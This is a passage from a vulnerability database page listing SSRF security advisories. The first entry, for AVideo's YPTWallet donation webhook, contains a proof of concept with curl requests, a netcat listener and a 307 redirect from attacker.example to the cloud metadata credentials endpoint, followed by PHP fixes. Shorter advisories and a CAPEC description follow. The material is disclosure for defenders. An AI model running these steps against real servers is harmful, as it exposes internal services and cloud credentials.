Alice (attacker/recipient of donation) and Bob (attacker\u0027s second account with a small wallet balance). Captcha is assumed enabled (default).\n\nStep 1 \u2014 Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:\n\n```bash\ncurl -sS -b cookies_alice.txt -X POST \u0027https://target/plugin/YPTWallet/view/saveConfiguration.php\u0027 \\\n --data-urlencode \u0027donation_notification_url=http://127.0.0.1:8080/internal/admin/action\u0027 \\\n --data-urlencode \u0027CryptoWallet=\u0027\n```\n\nResponse body includes the stored `donation_notification_url` plus Alice\u0027s `webhook_secret` (the signature is computed with Alice\u0027s own secret, so there is no cross-user signature leak).\n\nStep 2 \u2014 Start a listener on the target host to observe the blind request:\n\n```bash\n# On the target server\nnc -lvp 8080\n```\n\nStep 3 \u2014 Bob donates the minimum amount to Alice (captcha solved):\n\n```bash\ncurl -sS -b cookies_bob.txt -X POST \u0027https://target/plugin/CustomizeUser/donate.json.php\u0027 \\\n --data \u0027value=0.01\u0026users_id=\u003calice_user_id\u003e\u0026message=x\u0026captcha=\u003csolved_value\u003e\u0027\n```\n\n`donate.json.php:108` calls `AVideoPlugin::afterDonation(...)`.\n\nStep 4 \u2014 Observe the netcat listener: the AVideo server issues:\n\n```\nPOST /internal/admin/action HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: \u003cAVideo UA\u003e\nContent-Type: application/x-www-form-urlencoded\nX-Webhook-Signature: sha256=\u003chmac\u003e\nX-Webhook-Timestamp: \u003cepoch\u003e\nContent-Length: ...\n\nfrom_users_id=\u003cbob\u003e\u0026from_users_name=...\u0026currency=...\u0026how_much_human=...\u0026how_much=0.01\u0026message=x\u0026videos_id=0\u0026users_id=\u003calice\u003e\u0026time=...\u0026extraParameters[...]=...\n```\n\nConfirmed: the vulnerable server reaches the loopback port on behalf of the attacker.\n\nStep 5 \u2014 FOLLOWLOCATION bypass. Alice registers an external URL she controls:\n\n```bash\ncurl -sS -b cookies_alice.txt -X POST \u0027https://target/plugin/YPTWallet/view/saveConfiguration.php\u0027 \\\n --data-urlencode \u0027donation_notification_url=https://attacker.example/r\u0027 \\\n --data-urlencode \u0027CryptoWallet=\u0027\n```\n\nAlice\u0027s web server at `attacker.example/r` responds to the POST with:\n\n```\nHTTP/1.1 307 Temporary Redirect\nLocation: http://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\n\nBecause `CURLOPT_FOLLOWLOCATION=true` and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.\n\n## Impact\n\n- **Blind SSRF from authenticated low-privileged users.** An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.\n- **State-changing POST to internal endpoints.** Because the request method is fixed to POST and the body is attacker-influenced (the `message` field is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies.\n- **Cloud metadata reachability via 307 redirect chain.** Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.\n- **Blindness limits direct data exfiltration** (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.\n- **No CSRF protection** on `saveConfiguration.php`, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim\u0027s account.\n\n## Recommended Fix\n\n1. Call `isSSRFSafeURL()` on both the store path and the dispatch path. In `plugin/YPTWallet/YPTWallet.php:1015` (setter) and line 1064 (dispatcher), replace:\n\n```php\nif (!empty($donation_notification_url) \u0026\u0026 isValidURL($donation_notification_url)) {\n```\n\nwith:\n\n```php\n$resolvedIP = null;\nif (!empty($donation_notification_url) \u0026\u0026 isSSRFSafeURL($donation_notification_url, $resolvedIP)) {\n```\n\nand reject the URL in `setDonationNotificationURL()` before persisting:\n\n```php\nstatic function setDonationNotificationURL($users_id, $url)\n{\n $url = trim($url);\n $url = preg_replace(\u0027/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]/\u0027, \u0027\u0027, $url);\n if (!isSSRFSafeURL($url)) {\n _error_log(\"setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}\");\n return false;\n }\n if (strlen($url) \u003e 2048) { ... }\n $url = htmlspecialchars($url, ENT_QUOTES, \u0027UTF-8\u0027);\n ...\n}\n```\n\n2. Disable automatic redirect following, or implement per-hop validation. Either:\n\n```php\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\n```\n\nOr use `CURLOPT_REDIR_PROTOCOLS` limited to `CURLPROTO_HTTP | CURLPROTO_HTTPS` **and** pin DNS via `CURLOPT_RESOLVE` using the `$resolvedIP` from `isSSRFSafeURL()`, then follow redirects manually by re-validating each `Location:` header with `isSSRFSafeURL()` before re-issuing the request.\n\n3. Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:\n\n```php\n$parts = parse_url($donation_notification_url);\n$port = $parts[\u0027port\u0027] ?? (($parts[\u0027scheme\u0027] ?? \u0027http\u0027) === \u0027https\u0027 ? 443 : 80);\ncurl_setopt($ch, CURLOPT_RESOLVE, [\"{$parts[\u0027host\u0027]}:{$port}:{$resolvedIP}\"]);\n```\n\n4. Add a CSRF/global-token check on `plugin/YPTWallet/view/saveConfiguration.php` (consistent with the token validation added elsewhere in the codebase in commit `11e7804f7`) to prevent webhook planting via CSRF on a victim\u0027s authenticated session.",
"id": "GHSA-wp38-whx3-xffh",
"modified": "2026-05-13T14:20:18Z",
"published": "2026-05-05T21:49:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wp38-whx3-xffh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43879"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/aaacd48f29f1ff71d1eb5fc81d37605f593cefa9"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass"
}
GHSA-WP43-3GF2-97GX
Vulnerability from github – Published: 2025-10-23 15:30 – Updated: 2025-10-23 15:30The MxChat – AI Chatbot for WordPress plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.4.6. This is due to insufficient validation of user-supplied URLs in the PDF processing functionality. This makes it possible for unauthenticated attackers to make the WordPress server perform HTTP requests to arbitrary destinations via the mxchat_handle_chat_request AJAX action.
{
"affected": [],
"aliases": [
"CVE-2025-10705"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-23T13:15:38Z",
"severity": "MODERATE"
},
"details": "The MxChat \u2013 AI Chatbot for WordPress plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.4.6. This is due to insufficient validation of user-supplied URLs in the PDF processing functionality. This makes it possible for unauthenticated attackers to make the WordPress server perform HTTP requests to arbitrary destinations via the mxchat_handle_chat_request AJAX action.",
"id": "GHSA-wp43-3gf2-97gx",
"modified": "2025-10-23T15:30:34Z",
"published": "2025-10-23T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10705"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mxchat-basic/tags/2.4.1/includes/class-mxchat-integrator.php#L1090"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mxchat-basic/tags/2.4.1/includes/class-mxchat-integrator.php#L1108"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/mxchat-basic/tags/2.4.1/includes/class-mxchat-integrator.php#L2360"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3378505"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6ca63b8-b437-4e34-a57e-c3d956fbd102?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WP47-9R3H-XFGQ
Vulnerability from github – Published: 2022-02-07 00:00 – Updated: 2022-02-14 22:58In Apache Traffic Control Traffic Ops prior to 6.1.0 or 5.1.6, an unprivileged user who can reach Traffic Ops over HTTPS can send a specially-crafted POST request to /user/login/oauth to scan a port of a server that Traffic Ops can reach.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/apache/trafficcontrol"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/apache/trafficcontrol"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-23206"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-14T22:58:25Z",
"nvd_published_at": "2022-02-06T16:15:00Z",
"severity": "HIGH"
},
"details": "In Apache Traffic Control Traffic Ops prior to 6.1.0 or 5.1.6, an unprivileged user who can reach Traffic Ops over HTTPS can send a specially-crafted POST request to /user/login/oauth to scan a port of a server that Traffic Ops can reach.",
"id": "GHSA-wp47-9r3h-xfgq",
"modified": "2022-02-14T22:58:25Z",
"published": "2022-02-07T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23206"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/lsrd2mqj29vrvwsh8g0d560vvz8n126f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in Apache Traffic Control"
}
GHSA-WP52-R2FP-4VMR
Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-19 16:35Server-Side Request Forgery (SSRF) vulnerability in pdfmake versions 0.3.0-beta.2 through 0.3.5 allows a remote attacker to obtain sensitive information via the src/URLResolver.js component. The fix was released in version 0.3.6 which introduces the setUrlAccessPolicy() method allowing server operators to define URL access rules. A warning is now logged when pdfmake is used server-side without a policy configured.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pdfmake"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0-beta.2"
},
{
"fixed": "0.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26801"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T21:12:09Z",
"nvd_published_at": "2026-03-10T19:17:17Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in pdfmake versions 0.3.0-beta.2 through 0.3.5 allows a remote attacker to obtain sensitive information via the src/URLResolver.js component. The fix was released in version 0.3.6 which introduces the setUrlAccessPolicy() method allowing server operators to define URL access rules. A warning is now logged when pdfmake is used server-side without a policy configured.",
"id": "GHSA-wp52-r2fp-4vmr",
"modified": "2026-03-19T16:35:25Z",
"published": "2026-03-10T21:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26801"
},
{
"type": "WEB",
"url": "https://github.com/bpampuch/pdfmake/pull/2920"
},
{
"type": "PACKAGE",
"url": "https://github.com/bpampuch/pdfmake"
},
{
"type": "WEB",
"url": "https://github.com/bpampuch/pdfmake/blob/master/src/URLResolver.js"
},
{
"type": "WEB",
"url": "https://github.com/bpampuch/pdfmake/releases/tag/0.3.6"
},
{
"type": "WEB",
"url": "https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pdfmake is vulnerable to server-side request forgery (SSRF)"
}
GHSA-WPF2-5J53-3CXV
Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-21 21:30An issue in twonav v.2.1.18-20241105 allows a remote attacker to obtain sensitive information via the site settings component.
{
"affected": [],
"aliases": [
"CVE-2025-29450"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T21:15:50Z",
"severity": "MODERATE"
},
"details": "An issue in twonav v.2.1.18-20241105 allows a remote attacker to obtain sensitive information via the site settings component.",
"id": "GHSA-wpf2-5j53-3cxv",
"modified": "2025-04-21T21:30:30Z",
"published": "2025-04-17T21:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29450"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/ftlzvxve3t5713c6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.